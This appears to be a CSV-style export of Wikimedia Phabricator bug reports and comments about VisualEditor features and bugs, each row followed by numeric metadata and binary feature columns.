+> Wikitext output has two links side-by-side, pointing to the same target.
+
+Yeah, this is definitely a fail on our part (and a regression!). Thanks for the spot; assigning to Ed.",,,1372221303,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cypsptchtj5tr3ktdvxq,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1
+52197,VisualEditor: Make ve.ui.PopupWidget#display signature not insane,"3 parameters is the limit, 6 is crazy.
+
+ve.ui.PopupWidget.prototype.display = function ( x, y, width, height, transition, embedded ) {
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1372192080,1412209365.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-flrq364icuczabc3nb2z,task_description,resolved,True,c1,2,True,False,False,-1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+250314,VisualEditor: Make ve.ui.PopupWidget#display signature not insane,"Looking pretty good. It's been separated and the method itself (OO.ui.PopupWidget#display) no longer exists.
+
+https://github.com/wikimedia/oojs-ui/blob/e43584b420/src/widgets/PopupWidget.js",,,1412209365,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-flrq364icuczabc3nb2z,task_subcomment,,True,c1,3,True,,,65,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,1,1,0,1
+52182,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","screenshot of nested templates in VisualEditor
+
+Templates are sometimes nested into one another. For example, https://en.wikipedia.org/wiki/Template:Chembox relies on sub-templates like https://en.wikipedia.org/wiki/Template:Chembox_Properties , which itself relies on other templates etc.
+
+VisualEditor currently doesn't seem to handle these sub-templates. It shows a nice interface for the top-level template, then shows wikitext for the others (see screenshot).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+**Attached**: {F11704}",Medium,50.0,1372175760,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-nctiyee24idgcp7llspj,task_description,open,True,c1,2,False,False,,-1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,1
+1624617,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)",https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2021/Editing/Automatic_visual_editing_of_spanned_templates,,,1606768378,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,True,,,387,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+1198565,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","This could be particularly helpful for common inline templates, such as the {{lang}} templates.  When readers see this:
+
+```
+Alaska (/əˈlæskə/ (listen); Aleut: Alax̂sxax̂; Inupiaq: Alaskaq; Russian: Аляска, translit. Alyaska) is a U.S. state in the northwest extremity of North America. 
+```
+
+the wikitext is this:
+
+```
+'''Alaska''' ({{IPAc-en|audio=en-us-Alaska.ogg|ə|ˈ|l|æ|s|k|ə}}; {{lang-ale|Alax̂sxax̂}}; {{Lang-ik|Alaskaq}}; {{Lang-ru|Аляска|translit=Alyaska}}) is a [[U.S. state]] in the northwest extremity of [[North America]]. 
+```
+
+and the editor in the visual editor sees four templates.  It would be much nicer if you could just stick your cursor in the middle of ""Aleut: Alax̂sxax̂"" and change that without having to open any dialog boxes at all.",,,1545161536,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,285,,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+754131,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","Hey Riccardo, will try and find an answer for you.",,,1478109985,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,174,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+747843,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","Hello, Riccardo from WikiToLearn here.
+
+We use a lot of templates in our books, and, especially for maths, we would love to have visual editing of templates. I have seen that in T53374 the type for coherent wikitext was added. We would love to implement a solution similar to what has been done for the ""Insert Media"" dialog where there is a lighter VisualEditor is present when the user edits the caption. Our desired behiavor is to have the same editor show up when the type associated with the parameter is of type `content`.
+
+However, we would only do this if you think it is a good idea, and ideally will accept the patch, to avoid forking an extension as big as VisualEditor. Is it something that would be interesting?",,,1477067771,,PHID-USER-ijhuwuyd44xnfjon2ztf,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,172,,0,1,0,1,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+249561,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)",*** Bug 52786 has been marked as a duplicate of this bug. ***,,,1394074105,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,True,,,35,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+249557,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","(In reply to comment #10)
+> In reply to Gabriel Wicke, substing {{subst:div col}} would give <div
+> class=""mw-columns-2""> .. </div>. This would work fine for all subsequent
+> edits
+> with VE, but not for editors using wikitext.
+
+I don't see a big difference between a div start / end tag and {{div col}} / {{div col end}} template pairs. Both are disconnected and of roughly the same text length.",,,1374272400,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+249554,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","This has come up a few times at 
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#a_sensible_way_to_edit_.7B.7Bdiv_col.7D.7D_sections
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Bulleted_lists
+
+In reply to Gabriel Wicke, substing {{subst:div col}} would give <div class=""mw-columns-2""> .. </div>. This would work fine for all subsequent edits with VE, but not for editors using wikitext.
+
+Ideally list in {{div col}} blocks would be edited in place. Just as if it was a normal list. 
+
+I think this points to a wider question: that some templates are going to need special ways of editing them. You might be able to add a field to the template data, say, ""type"":""wikitext-block"" indicating its a block which should be edited in place. Some sort of extension mechanism could be used, say with an associated  lua module providing hints to VE on how to edit the data.",,,1374267053,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+249550,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)",*** Bug 51485 has been marked as a duplicate of this bug. ***,,,1374014309,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+249545,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","We also need to be able to add the template {{tl|multiple issues}} around existing tags: when editing [[Dadloi]] I wanted to add a second maintenance tag and then tidy them up into {{tl|mi}}, but of course had to do the latter in Edit Source after my VE edit.",,,1373440193,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+249538,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","**kwwilliams** wrote:
+
+I'm seeing a few comments that imply that nested templates are somehow the result of a poorly thought out design: I take issue with that. Take {{BillboardURLbyName}}, for example: it's got a very simple job: give it the name of a musical artist, and it will return the URL to the Billboard page for that artist's charts or biography. Billboard loves to redesign its site periodically and builds the URL based on six digit numbers, so we really don't want URL hardcoding going on. 
+
+It would be a very poor design if we required every template that could accept a URL to understand how to translate an artist name into a URL. It's much better to do it the way we do: pass {{BillboardURLbyName|artist name}} as an argument to templates that require URLs, and let each template do its own job.",,,1373054528,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,0,,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+249530,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","Adding keywords to summary to make this searchable.
+
+As noted in bug 50595, this bug prevents copy-pasting formatted text from the main document into a template.",,,1372789939,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+249521,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)",*** Bug 50595 has been marked as a duplicate of this bug. ***,,,1372789775,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+249509,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","Something like <div class=""mw-columns-2""> .. </div> with the proper class definition in common.css would work better for editing in VE, as the wrapper won't be template-generated then.
+
+Generally visual editing works best if a template produces a self-contained part of a page ('properly nested') rather than cut-up start / content / end templates.",,,1372780602,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,True,,,0,,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,1
+249500,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","This bug affects all attempts to edit items in lists which are set out in columns using {{tl|div col}} or {{tl|colbegin}}, so is going to disconcert a lot of editors. I hope it's near the top of the ""to-do list"":  see [[Wikipedia:VisualEditor/Feedback#Editing_within_a_multi-column_list_.28ie_between_.7B.7Bcolbegin.7D.7D_and_.7B.7Bcolend.7D.7D.29]]",,,1372779956,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+249491,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)",*** Bug 50355 has been marked as a duplicate of this bug. ***,,,1372427548,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+249486,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","These are currently supported, just as wikitext. :-)
+
+It depends on some changes in Parsoid (which they've put on ice during deployment), and some tweaks in VisualEditor, but this should be relatively do-able.",,,1372212497,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+52172,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,"See https://en.wikipedia.org/wiki/Template:Userspace draft - when rendered in the VE it displays the mainspace appropriate text regardless of what namespace it is in.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1372164120,1397880064.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-nu54imdjney5p47v7jx7,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+249036,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,I think this was resolved in Gerrit change 127388,,,1397915597,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,3,True,,,41,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+249033,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,"Is this fixed?
+
+When I look at this page which uses [[template:userspace draft]]:
+
+https://en.wikipedia.org/wiki/User:JohnArmagh/Heads_of_Government_of_the_State_of_Victoria,_Australia?veaction=edit
+
+The appropriate message is shown.
+
+However part of that box should render as
+""This draft was last edited 13 months ago""
+but in VE is renders as
+This draft was last edited 1 second's time""
+
+which means {{REVISIONTIMESTAMP}} isnt expanding correctly as, based on the future tense, it is giving a value that is CURRENTTIME+1..?",,,1381109369,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+249028,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,*** Bug 50582 has been marked as a duplicate of this bug. ***,,,1372796056,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+249024,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,"This was originally about the Parsoid issue, which is now fixed, but re-purposing to be about the DM re-render to PHP parser issue.",,,1372796032,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+249018,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,"I'm guessing this is actually about newly inserted {{NAMESPACE}} calls:
+
+http://www.mediawiki.org/wiki/User:GWicke/TestNamespace?veaction=edit
+
+Reassigning to VE.",,,1372728297,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+249013,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,"We pass in the title to the PHP preprocessor, so namespace-dependent parserfunctions should work as expected. Are you talking about Parsoid rendering or the VE's preview rendering after inserting a new template?",,,1372176869,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+249005,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,"By the time we get the template, the evaluation of the parser functions - in this case, {{NAMESPACE}} - has already been done (by Parsoid). In general, I believe that most parser functions are just ""return true"" at this point, and will be coming in future.",,,1372172844,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0
+52171,VisualEditor: Re-label the group UI element in the reference dialog to explain what it does,"In the Reference editor we have two fields:
+
+""Re-use by this name""
+""Use this group""
+
+These names are useless for new editors (too cryptic and unclear - what is ""re-use""? a verb? referring to what?) and also unhelpful for established users (they need to know that these are totally identical to the name="""" and group="""" attributes). It is also not clear that they are only occasionally needed.
+
+Something simpler, like ""Reference name (optional)"" and ""Reference group (optional)"" could be better. 
+
+Same in the Reference list editor:
+
+""Use this group"" -> ""Display references belonging to this group (optional)""
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1372162920,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-f2jkrvqamprej6vbtifd,task_description,open,True,c1,2,False,False,,-1,,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+248960,VisualEditor: Re-label the group UI element in the reference dialog to explain what it does,"(In reply to comment #1)
+> There is also a request in that discussion about whether ""Transclusion"" could
+> be renamed to something in plain English, like ""Templates"".
+
+The problem is that they aren't just templates - there are also magic words and parser functions as well, like Wikidata invocations or other oddities that MediaWiki supports. Lumping them all in as templates makes things much harder to explain in documentation.",,,1372693967,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f2jkrvqamprej6vbtifd,task_subcomment,,True,c1,3,True,,,0,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+248955,VisualEditor: Re-label the group UI element in the reference dialog to explain what it does,"There is also a request in that discussion about whether ""Transclusion"" could be renamed to something in plain English, like ""Templates"".",,,1372498760,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-f2jkrvqamprej6vbtifd,task_subcomment,,True,c1,2,False,,,-1,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+52167,VisualEditor: Support unicode equivalence for client side text searches,"Planned features, such as searching for an existing reference by content, will require us to implement some http://en.wikipedia.org/wiki/Unicode_equivalence .
+
+We will probably want to use NFKD (""Characters are decomposed by compatibility, and multiple combining characters are arranged in a specific order."") to catch cases such as 'ff' === 'ff', and we will probably want to strip combining characters (i.e. all accents), so that 'Amelie' === 'Amélie'.
+
+https://github.com/walling/unorm looks like a good library for the job. We may want to fork it into UnicodeJS.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1372158120,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-eirxrxhok3puf5mpvsgj,task_description,open,True,c1,2,True,False,,-1,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1
+248733,VisualEditor: Support unicode equivalence for client side text searches,"So, if I'm understanding correctly, when the user starts a search we want to generate a normalised copy of the entire document in NFKD. (Otherwise we've got a problem keeping two copies in sync). Is this acceptable efficiency-wise?
+
+Could we force the characters in the document model to be in NFC? Could Parsoid provide the article text in NFC? (This is partially off-topic, but we probably want to consider different normalisation issues together).",,,1373553594,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-eirxrxhok3puf5mpvsgj,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+248728,VisualEditor: Support unicode equivalence for client side text searches,Agreed. You're likely to do that naturally when displaying search results but it would be a consideration if you try to highlight the matching substring in the result (a non-trivial problem when normalisation is involved),,,1372424049,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eirxrxhok3puf5mpvsgj,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
